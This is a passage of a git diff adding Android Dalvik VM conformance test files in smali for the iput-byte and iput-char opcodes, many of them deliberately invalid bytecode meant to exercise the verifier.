diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_23.smali
new file mode 100644
index 0000000..f2fc0cf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_23.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_23.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_23;
+.super  Ljava/lang/Object;
+
+.field public  st_c:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       iput-byte v0, v3, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_23;->st_c:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_24.smali
new file mode 100644
index 0000000..a2eb69e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_24.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_24.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_24;
+.super  Ljava/lang/Object;
+
+.field public  st_z:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       iput-byte v0, v3, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_24;->st_z:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_3.smali
new file mode 100644
index 0000000..252b801
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_3.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_3.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_3;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 1
+       iput-byte v0, v2, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_3;->st_i1:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_30.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_30.smali
new file mode 100644
index 0000000..190789a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_30.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_30.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_30;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    new-instance v0, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_30;
+    const v1, 0
+    iput-byte v1, v0, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_30;->st_i1:B
+.end method
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_31.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_31.smali
new file mode 100644
index 0000000..4f58b1e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_31.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_31.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_31;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    const v1, 0
+    iput-byte v1, v0, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_31;->st_i1:B
+.end method
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_4.smali
new file mode 100644
index 0000000..f931b55
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_4.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_4;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iput-byte v3, v2, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_4;->st_i1:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_7.smali
new file mode 100644
index 0000000..86200c2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_7.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_7.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_7;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       iput-byte v1, v2, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_7;->st_i1:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_8.smali
new file mode 100644
index 0000000..0f06684
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_8.smali

@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_8.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iput_byte/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_byte/TestStubs;-><init>()V
+
+       const v1, 0
+       iput-byte v1, v0, Ldot/junit/opcodes/iput_byte/TestStubs;->TestStubField:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_9.smali
new file mode 100644
index 0000000..5875985
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_9.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_9.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_9;
+.super  Ljava/lang/Object;
+
+.field public st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       iput-byte v1, v2, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_9noclass;->st_i1:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_1.smali
new file mode 100644
index 0000000..2615fae
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_1.smali

@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_1.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_1;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:C
+.field protected  st_p1:C
+.field private  st_pvt1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public  getPvtField()C
+.registers 2
+
+       iget-char v0, v1, Ldot/junit/opcodes/iput_char/d/T_iput_char_1;->st_pvt1:C
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       iput-char v1, v2, Ldot/junit/opcodes/iput_char/d/T_iput_char_1;->st_i1:C
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_10.smali
new file mode 100644
index 0000000..b436253
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_10.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_10.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_10;
+.super  Ljava/lang/Object;
+
+.field public st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-char v1, v2, Ldot/junit/opcodes/iput_char/d/T_iput_char_10;->st_i1N:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_11.smali
new file mode 100644
index 0000000..1fe64a1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_11.smali

@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_11.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iput_char/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_char/TestStubs;-><init>()V
+
+       const v1, 1
+       iput-char v1, v0, Ldot/junit/opcodes/iput_char/TestStubs;->TestStubFieldFinal:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_12.smali
new file mode 100644
index 0000000..b26c242
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_12.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_12.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_12;
+.super  Ljava/lang/Object;
+
+.field public  final st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       iput-char v1, v2, Ldot/junit/opcodes/iput_char/d/T_iput_char_12;->st_i1:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_13.smali
new file mode 100644
index 0000000..66b858e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_13.smali

@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_13.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_13;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 0
+       const v1, 77
+       iput-char v1, v0, Ldot/junit/opcodes/iput_char/d/T_iput_char_13;->st_i1:C
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_14.smali
new file mode 100644
index 0000000..488b7ad
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_14.smali

@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_14.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_14;
+.super  Ldot/junit/opcodes/iput_char/d/T_iput_char_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_char/d/T_iput_char_1;-><init>()V
+       return-void
+.end method
+
+.method public  getProtectedField()C
+.registers 2
+
+       iget-char v0, v1, Ldot/junit/opcodes/iput_char/d/T_iput_char_1;->st_p1:C
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       iput-char v1, v2, Ldot/junit/opcodes/iput_char/d/T_iput_char_1;->st_p1:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_15.smali
new file mode 100644
index 0000000..5a2284b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_15.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_15.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_15;
+.super  Ldot/junit/opcodes/iput_char/d/T_iput_char_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_char/d/T_iput_char_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/16 v1, 1
+       iput-char v1, v2, Ldot/junit/opcodes/iput_char/d/T_iput_char_1;->st_pvt1:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_17.smali
new file mode 100644
index 0000000..8d352d4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_17.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_17.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_17;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-char v1, v2, Ldot/junit/opcodes/iput_char/d/T_iput_char_17;->st_i1:C
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_18.smali
new file mode 100644
index 0000000..3e30c90
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_18.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_18.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_18;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-char v1, v2, Ldot/junit/opcodes/iput_char/d/T_iput_char_18;->st_i1:D
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_2.smali
new file mode 100644
index 0000000..7d6c00e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_2.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_2.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_2;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       iput-char v0, v2, Ldot/junit/opcodes/iput_char/d/T_iput_char_4;->st_i1:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_21.smali
new file mode 100644
index 0000000..d391d08
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_21.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_21.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_21;
+.super  Ljava/lang/Object;
+
+.field public  st_s:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 12    
+       iput-char v0, v3, Ldot/junit/opcodes/iput_char/d/T_iput_char_21;->st_s:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_22.smali
new file mode 100644
index 0000000..753c676
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_22.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_22.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_22;
+.super  Ljava/lang/Object;
+
+.field public  st_i:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       iput-char v0, v3, Ldot/junit/opcodes/iput_char/d/T_iput_char_22;->st_i:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_23.smali
new file mode 100644
index 0000000..6f385bc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_23.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_23.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_23;
+.super  Ljava/lang/Object;
+
+.field public  st_b:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
